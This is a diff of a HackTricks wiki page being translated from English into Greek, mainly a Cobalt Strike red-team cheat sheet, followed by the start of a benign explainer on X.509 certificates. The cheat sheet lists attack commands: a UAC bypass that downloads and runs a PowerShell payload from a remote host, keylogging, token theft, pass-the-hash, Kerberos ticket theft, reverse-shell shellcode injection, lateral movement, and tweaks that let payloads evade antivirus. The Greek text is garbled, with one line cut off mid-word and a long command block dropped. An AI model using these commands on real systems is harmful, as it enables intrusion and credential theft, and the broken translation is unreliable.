* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,217 +1,164 @@
|
|||
# Cobalt Strike
|
||||
|
||||
### Listeners
|
||||
### Ακροατές
|
||||
|
||||
### C2 Listeners
|
||||
### C2 Ακροατές
|
||||
|
||||
`Cobalt Strike -> Listeners -> Add/Edit` then you can select where to listen, which kind of beacon to use (http, dns, smb...) and more.
|
||||
`Cobalt Strike -> Ακροατές -> Προσθήκη/Επεξεργασία` και μπορείτε να επιλέξετε πού να ακούσετε, ποιον τύπο beacon να χρησιμοποιήσετε (http, dns, smb...) και άλλα.
|
||||
|
||||
### Peer2Peer Listeners
|
||||
### Ακροατές Peer2Peer
|
||||
|
||||
The beacons of these listeners don't need to talk to the C2 directly, they can communicate to it through other beacons.
|
||||
Τα beacons αυτών των ακροατών δεν χρειάζεται να επικοινωνούν απευθείας με το C2, μπορούν να επικοινωνούν μέσω άλλων beacons.
|
||||
|
||||
`Cobalt Strike -> Listeners -> Add/Edit` then you need to select the TCP or SMB beacons
|
||||
`Cobalt Strike -> Ακροατές -> Προσθήκη/Επεξεργασία` και χρειάζεται να επιλέξετε τα beacons TCP ή SMB
|
||||
|
||||
* The **TCP beacon will set a listener in the port selected**. To connect to a TCP beacon use the command `connect <ip> <port>` from another beacon
|
||||
* The **smb beacon will listen in a pipename with the selected name**. To connect to a SMB beacon you need to use the command `link [target] [pipe]`.
|
||||
* Το **TCP beacon θα ορίσει έναν ακροατή στην επιλεγμένη θύρα**. Για να συνδεθείτε σε ένα TCP beacon χρησιμοποιήστε την εντολή `connect <ip> <port>` από ένα άλλο beacon
|
||||
* Το **smb beacon θα ακούσει σε ένα pipename με το επιλεγμένο όνομα**. Για να συνδεθείτε σε ένα SMB beacon χρειάζεται να χρησιμοποιήσετε την εντολή `link [target] [pipe]`.
|
||||
|
||||
### Generate & Host payloads
|
||||
### Δημιουργία και φιλοξενία payloads
|
||||
|
||||
#### Generate payloads in files
|
||||
#### Δημιουργία payloads σε αρχεία
|
||||
|
||||
`Attacks -> Packages ->` 
|
||||
`Επιθέσεις -> Πακέτα ->` 
|
||||
|
||||
* **`HTMLApplication`** for HTA files
|
||||
* **`MS Office Macro`** for an office document with a macro
|
||||
* **`Windows Executable`** for a .exe, .dll orr service .exe
|
||||
* **`Windows Executable (S)`** for a **stageless** .exe, .dll or service .exe (better stageless than staged, less IoCs)
|
||||
* **`HTMLApplication`** για αρχεία HTA
|
||||
* **`MS Office Macro`** για ένα εγγραφο γραφείου με μακρό
|
||||
* **`Windows Executable`** για ένα .exe, .dll ή .exe υπηρεσίας
|
||||
* **`Windows Executable (S)`** για ένα **stageless** .exe, .dll ή .exe υπηρεσίας (καλύτερο stageless από staged, λιγότερα IoCs)
|
||||
|
||||
#### Generate & Host payloads
|
||||
#### Δημιουργία και φιλοξενία payloads
|
||||
|
||||
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python
|
||||
`Επιθέσεις -> Web Drive-by -> Scripted Web Delivery (S)` Αυτό θα δημιουργήσει ένα script/executable για να κατεβάσει το beacon από το cobalt strike σε μορφές όπως: bitsadmin, exe, powershell και python
|
||||
|
||||
#### Host Payloads
|
||||
#### Φιλοξενία Payloads
|
||||
|
||||
If you already has the file you want to host in a web sever just go to `Attacks -> Web Drive-by -> Host File` and select the file to host and web server config.
|
||||
Αν ήδη έχετε το αρχείο που θέλετε να φιλοξενήσετε σε έναν διακομιστή ιστού, απλά πηγαίνετε στο `Επιθέσεις -> Web Drive-by -> Host File` και επιλέξτε το αρχείο που θέλετε να φιλοξενήσετε και τη διαμόρφωση του διακομιστή ιστού.
|
||||
|
||||
### Beacon Options
|
||||
### Επιλογές Beacon
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># Execute local .NET binary
|
||||
<pre class="language-bash"><code class="lang-bash"># Εκτέλεση τοπικού .NET binary
|
||||
execute-assembly </path/to/executable.exe>
|
||||
|
||||
# Screenshots
|
||||
printscreen # Take a single screenshot via PrintScr method
|
||||
screenshot # Take a single screenshot
|
||||
screenwatch # Take periodic screenshots of desktop
|
||||
## Go to View -> Screenshots to see them
|
||||
# Στιγμιότυπα οθόνης
|
||||
printscreen # Πάρτε ένα μόνο στιγμιότυπο οθόνης μέσω της μεθόδου PrintScr
|
||||
screenshot # Πάρτε ένα μόνο στιγμιότυπο οθόνης
|
||||
screenwatch # Πάρτε περιοδικά στιγμιότυπα οθόνης
|
||||
## Πηγαίνετε στο Προβολή -> Στιγμιότυπα οθόνης για να τα δείτε
|
||||
|
||||
# keylogger
|
||||
keylogger [pid] [x86|x64]
|
||||
## View > Keystrokes to see the keys pressed
|
||||
## Προβολή > Πλήκτρα για να δείτε τα πατημένα πλήκτρα
|
||||
|
||||
# portscan
|
||||
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inject portscan action inside another process
|
||||
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Ενσωμάτωση δράσης portscan μέσα σε άλλη διεργασία
|
||||
portscan [targets] [ports] [arp|icmp|none] [max connections]
|
||||
|
||||
# Powershell
|
||||
# Import Powershell module
|
||||
# Εισαγωγή Powershell module
|
||||
powershell-import C:\path\to\PowerView.ps1
|
||||
powershell <just write powershell cmd here>
|
||||
powershell <γράψτε εδώ powershell cmd>
|
||||
|
||||
# User impersonation
|
||||
## Token generation with creds
|
||||
make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network
|
||||
ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
|
||||
rev2self # Stop using token generated with make_token
|
||||
## The use of make_token generates event 4624: An account was successfully logged on. This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type. As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
|
||||
# Προσομοίωση χρήστη
|
||||
## Δημιουργία διαπιστευτηρίων με creds
|
||||
make_token [DOMAIN\user] [password] # Δημιουργία διαπιστευτηρίων για προσομοίωση ενός χρήστη στο δίκτυο
|
||||
ls \\computer_name\c$ # Δοκιμάστε να χρησιμοποιήσετε τα δημιουργημένα διαπιστευτήρια για πρόσβαση στο C$ σε έναν υπολογιστή
|
||||
rev2self # Σταματήστε τη χρήση των διαπιστευτηρίων που δημιουργήθηκαν με το make_token
|
||||
## Η χρήση του make_token δημιουργεί το γεγονός 4624: Ένας λογαριασμός συνδέθηκε με επιτυχία. Αυτό το γεγονός είναι πολύ συνηθισμένο σε ένα τομέα Windows, αλλά μπορεί να περιοριστεί με φιλτράρισμα στον τύπο σύνδεσης. Όπως αναφέρθηκε παραπάνω, χρησιμοποιεί το LOGON32_LOGON_NEW_CREDENTIALS που είναι τύπος 9.
|
||||
|
||||
# UAC Bypass
|
||||
elevate svc-exe <listener>
|
||||
elevate uac-token-duplication <listener>
|
||||
elevate svc-exe <ακροατής>
|
||||
elevate uac-token-duplication <ακροατής>
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
|
||||
## Steal token from pid
|
||||
## Like make_token but stealing the token from a process
|
||||
steal_token [pid] # Also, this is useful for network actions, not local actions
|
||||
## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated <current_username> - it's impersonating our own cloned token.
|
||||
ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
|
||||
rev2self # Stop using token from steal_token
|
||||
|
||||
## Launch process with nwe credentials
|
||||
spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\
|
||||
## Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE). It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).
|
||||
|
||||
## Inject into process
|
||||
inject [pid] [x64|x86] [listener]
|
||||
## From an OpSec point of view: Don't perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).
|
||||
|
||||
## Pass the hash
|
||||
## This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.
|
||||
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
|
||||
pth [DOMAIN\user] [NTLM hash]
|
||||
|
||||
## Pass the hash through mimikatz
|
||||
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
|
||||
## Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
|
||||
steal_token <pid> #Steal token from process created by mimikatz
|
||||
|
||||
## Pass the ticket
|
||||
## Request a ticket
|
||||
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
|
||||
## Create a new logon session to use with the new ticket (to not overwrite the compromised one)
|
||||
make_token <domain>\<username> DummyPass
|
||||
## Write the ticket in the attacker machine from a poweshell session & load it
|
||||
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
|
||||
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
|
||||
|
||||
## Pass the ticket from SYSTEM
|
||||
## Generate a new process with the ticket
|
||||
execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
|
||||
## Steal the token from that process
|
||||
steal_token <pid>
|
||||
|
||||
## Extract ticket + Pass the ticket
|
||||
### List tickets
|
||||
execute-assembly C:\path\Rubeus.exe triage
|
||||
### Dump insteresting ticket by luid
|
||||
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
||||
### Create new logon session, note luid and processid
|
||||
## Κλέψτε το token από το pid
|
||||
## Όπως το make_token αλλά κλέβει το token από μια διεργασία
|
||||
steal_token [pid] # Επίσης, αυτό είναι χρήσιμο για δικτυακές ενέργειες, όχι τ
|
||||
### Δημιουργία νέας συνεδρίας σύνδεσης, σημειώστε το luid και το processid
|
||||
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
|
||||
### Insert ticket in generate logon session
|
||||
### Εισαγωγή εισιτηρίου στη δημιουργημένη συνεδρία σύνδεσης
|
||||
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
|
||||
### Finally, steal the token from that new process
|
||||
### Τέλος, κλέψτε το token από αυτήν τη νέα διεργασία
|
||||
steal_token <pid>
|
||||
|
||||
# Lateral Movement
|
||||
## If a token was created it will be used
|
||||
# Πλευρική κίνηση
|
||||
## Εάν δημιουργήθηκε ένα token, θα χρησιμοποιηθεί
|
||||
jump [method] [target] [listener]
|
||||
## Methods:
|
||||
## psexec x86 Use a service to run a Service EXE artifact
|
||||
## psexec64 x64 Use a service to run a Service EXE artifact
|
||||
## psexec_psh x86 Use a service to run a PowerShell one-liner
|
||||
## winrm x86 Run a PowerShell script via WinRM
|
||||
## winrm64 x64 Run a PowerShell script via WinRM
|
||||
## Μέθοδοι:
|
||||
## psexec x86 Χρησιμοποιήστε ένα υπηρεσία για να εκτελέσετε ένα αρχείο EXE υπηρεσίας
|
||||
## psexec64 x64 Χρησιμοποιήστε ένα υπηρεσία για να εκτελέσετε ένα αρχείο EXE υπηρεσίας
|
||||
## psexec_psh x86 Χρησιμοποιήστε ένα υπηρεσία για να εκτελέσετε ένα PowerShell one-liner
|
||||
## winrm x86 Εκτελέστε ένα σενάριο PowerShell μέσω WinRM
|
||||
## winrm64 x64 Εκτελέστε ένα σενάριο PowerShell μέσω WinRM
|
||||
|
||||
remote-exec [method] [target] [command]
|
||||
## Methods:
|
||||
<strong>## psexec Remote execute via Service Control Manager
|
||||
</strong>## winrm Remote execute via WinRM (PowerShell)
|
||||
## wmi Remote execute via WMI
|
||||
## Μέθοδοι:
|
||||
<strong>## psexec Απομακρυσμένη εκτέλεση μέσω του Service Control Manager
|
||||
</strong>## winrm Απομακρυσμένη εκτέλεση μέσω WinRM (PowerShell)
|
||||
## wmi Απομακρυσμένη εκτέλεση μέσω WMI
|
||||
|
||||
## To execute a beacon with wmi (it isn't ins the jump command) just upload the beacon and execute it
|
||||
## Για να εκτελέσετε ένα beacon με wmi (δεν είναι στην εντολή jump) απλά ανεβάστε το beacon και εκτελέστε το
|
||||
beacon> upload C:\Payloads\beacon-smb.exe
|
||||
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
|
||||
|
||||
|
||||
# Pass session to Metasploit - Through listener
|
||||
## On metaploit host
|
||||
# Παράδοση συνεδρίας στο Metasploit - Μέσω listener
|
||||
## Στον υπολογιστή με το metasploit
|
||||
msf6 > use exploit/multi/handler
|
||||
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
|
||||
msf6 exploit(multi/handler) > set LHOST eth0
|
||||
msf6 exploit(multi/handler) > set LPORT 8080
|
||||
msf6 exploit(multi/handler) > exploit -j
|
||||
|
||||
## On cobalt: Listeners > Add and set the Payload to Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and click Save.
|
||||
## Στο cobalt: Listeners > Add και ορίστε το Payload σε Foreign HTTP. Ορίστε το Host σε 10.10.5.120, τη θύρα σε 8080 και κάντε κλικ στο Save.
|
||||
beacon> spawn metasploit
|
||||
## You can only spawn x86 Meterpreter sessions with the foreign listener.
|
||||
## Μπορείτε να εκκινήσετε μόνο συνεδρίες x86 Meterpreter με τον ξένο ακροατή.
|
||||
|
||||
# Pass session to Metasploit - Through shellcode injection
|
||||
## On metasploit host
|
||||
# Παράδοση συνεδρίας στο Metasploit - Μέσω εισαγωγής shellcode
|
||||
## Στον υπολογιστή με το metasploit
|
||||
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
|
||||
## Run msfvenom and prepare the multi/handler listener
|
||||
## Εκτελέστε το msfvenom και προετοιμάστε τον ακροατή multi/handler
|
||||
|
||||
## Copy bin file to cobalt strike host
|
||||
## Αντιγράψτε το αρχείο bin στον υπολογιστή του cobalt strike
|
||||
ps
|
||||
shinject <pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process
|
||||
shinject <pid> x64 C:\Payloads\msf.bin #Εισαγωγή του shellcode του metasploit σε μια διεργασία x64
|
||||
|
||||
# Pass metasploit session to cobalt strike
|
||||
## Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
|
||||
## Use post/windows/manage/shellcode_inject in metasploit to inject the generated cobalt srike shellcode
|
||||
# Παράδοση συνεδρίας metasploit στο cobalt strike
|
||||
## Δημιουργία stageless Beacon shellcode, πηγαίνετε σε Attacks > Packages > Windows Executable (S), επιλέξτε τον επιθυμητό ακροατή, επιλέξτε τον τύπο εξόδου Raw και επιλέξτε τη χρήση του x64 payload.
|
||||
## Χρησιμοποιήστε το post/windows/manage/shellcode_inject στο metasploit για να εισαγάγετε τον δημιουργημένο κώδικα shellcode του cobalt strike
|
||||
|
||||
|
||||
# Pivoting
|
||||
## Open a socks proxy in the teamserver
|
||||
# Περιστροφή
|
||||
## Ανοίξτε ένα socks proxy στο teamserver
|
||||
beacon> socks 1080
|
||||
|
||||
# SSH connection
|
||||
# Σύνδεση SSH
|
||||
beacon> ssh 10.10.17.12:22 username password</code></pre>
|
||||
|
||||
## Avoiding AVs
|
||||
## Αποφυγή των AVs
|
||||
|
||||
### Artifact Kit
|
||||
|
||||
Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.
|
||||
Συνήθως στο `/opt/cobaltstrike/artifact-kit` μπορείτε να βρείτε τον κώδικα και τα προεπιλεγμένα πρότυπα (στο `/src-common`) των φορτίων που θα χρησιμοποιήσει το cobalt strike για να δημιουργήσει τα δυαδικά beacons.
|
||||
|
||||
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.
|
||||
|
||||
After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.
|
||||
Χρησιμοποιώντας το [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) με το δημιουργημένο backdoor (ή απλά με το προεπιλεγμένο πρότυπο) μπορείτε να βρείτε τον λόγο που ενεργοποιεί τον defender. Συνήθως είναι μια συμβολοσειρά. Επομένως, μπορείτε απλά να τροποποιήσετε τον κώδικα που δημιουργεί το backdoor έτσι ώστε αυτή η συμβολοσειρά να μην εμφανίζεται στο τελικό δυαδικό.
|
||||
|
||||
Μετά την τροποποίηση του κώδικα, απλά εκτελέστε `./build.sh` από τον ίδιο φάκελο και αντιγράψτε τον φάκελο `dist-pipe/` στον πελάτη Windows στο `C:\Tools\cobaltstrike\ArtifactKit`.
|
||||
```
|
||||
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
||||
```
|
||||
Μην ξεχάσετε να φορτώσετε το επιθετικό script `dist-pipe\artifact.cna` για να υποδείξετε στο Cobalt Strike να χρησιμοποιήσει τους πόρους από τον δίσκο που θέλουμε και όχι αυτούς που έχουν φορτωθεί.
|
||||
|
||||
Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
|
||||
### Συλλογή Εργαλείων
|
||||
|
||||
### Resource Kit
|
||||
|
||||
The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.
|
||||
|
||||
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:
|
||||
Ο φάκελος ResourceKit περιέχει τα πρότυπα για τα φορτία βασισμένα σε σενάρια του Cobalt Strike, συμπεριλαμβανομένων των PowerShell, VBA και HTA.
|
||||
|
||||
Χρησιμοποιώντας το [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) με τα πρότυπα, μπορείτε να βρείτε τι δεν αρέσει στον ανιχνευτή (AMSI σε αυτήν την περίπτωση) και να το τροποποιήσετε:
|
||||
```
|
||||
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
|
||||
```
|
||||
Τροποποιώντας τις ανιχνευμένες γραμμές μπορούμε να δημιουργήσουμε ένα πρότυπο που δεν θα ανιχνευθεί.
|
||||
|
||||
Modifying the detected lines one can generate a template that won't be caught.
|
||||
|
||||
Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Μην ξεχάσετε να φορτώσετε το επιθετικό script `ResourceKit\resources.cna` για να υποδείξετε στο Cobalt Strike να χρησιμοποιήσει τους πόρους από τον δίσκο που θέλουμε και όχι αυτούς που έχουν φορτωθεί.
|
||||
```bash
|
||||
cd C:\Tools\neo4j\bin
|
||||
neo4j.bat console
|
||||
|
@ -233,3 +180,4 @@ pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
|||
|
||||
|
||||
```
|
||||
|
||||
|
|
|
@ -1,59 +1,48 @@
|
|||
# Certificates
|
||||
# Πιστοποιητικά
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## What is a Certificate
|
||||
## Τι είναι ένα πιστοποιητικό
|
||||
|
||||
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
|
||||
Ένα **πιστοποιητικό δημόσιου κλειδιού** είναι ένα ψηφιακό αναγνωριστικό που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος είναι κάτοχος ενός δημόσιου κλειδιού. Περιλαμβάνει τις λεπτομέρειες του κλειδιού, την ταυτότητα του ιδιοκτήτη (το θέμα) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (ο εκδότης). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον ιδιοκτήτη του κλειδιού.
|
||||
|
||||
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
|
||||
Τα πιστοποιητικά εκδίδονται κυρίως από [πιστοποιητικές αρχές](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) σε ένα περιβάλλον [υποδομής δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Ένας άλλος τρόπος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web_of_trust), όπου οι χρήστες επαληθεύουν απευθείας τα κλειδιά τους. Η κοινή μορφή για τα πιστοποιητικά είναι η [X.509](https://en.wikipedia.org/wiki/X.509), η οποία μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες, όπως περιγράφεται στο RFC 5280.
|
||||
|
||||
## x509 Common Fields
|
||||
## Κοινά πεδία x509
|
||||
|
||||
### **Common Fields in x509 Certificates**
|
||||
### **Κοινά πεδία στα πιστοποιητικά x509**
|
||||
|
||||
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
|
||||
|
||||
- **Version Number** signifies the x509 format's version.
|
||||
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
|
||||
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
|
||||
- **Common Name (CN)**: Domains covered by the certificate.
|
||||
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
|
||||
- **Distinguished Name (DN)** encapsulates the full subject identification.
|
||||
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
|
||||
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
|
||||
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
|
||||
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
|
||||
|
||||
#### **Key Usage and Extensions**
|
||||
|
||||
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
|
||||
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
|
||||
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
|
||||
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
|
||||
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
|
||||
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
|
||||
Στα πιστοποιητικά x509, αρκετά **πεδία** παίζουν κρίσιμο ρόλο για την εγκυρότητα και την ασφάλεια του πιστοποιητικού. Εδώ υπάρχει μια ανάλυση αυτών των πεδίων:
|
||||
|
||||
- Ο αριθμός **Έκδοσης** υποδηλώνει την έκδοση της μορφής x509.
|
||||
- Ο αριθμός **Σειράς** αναγνωρίζει μοναδικά το πιστοποιητικό εντός του συστήματος μιας Πιστοποιητικής Αρχής (CA), κυρίως για την παρακολούθηση ανάκλησης.
|
||||
- Το πεδίο **Θέματος** αντιπροσωπεύει τον ιδιοκτήτη του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή μια οργάνωση. Περιλαμβάνει λεπτομερείς πληροφορίες, όπως:
|
||||
- **Κοινό Όνομα (CN)**: Τομείς που καλύπτονται από το πιστοποιητικό.
|
||||
- **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S ή P)**, **Οργανισμός (O)** και **Μονάδα Οργανισμού (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες.
|
||||
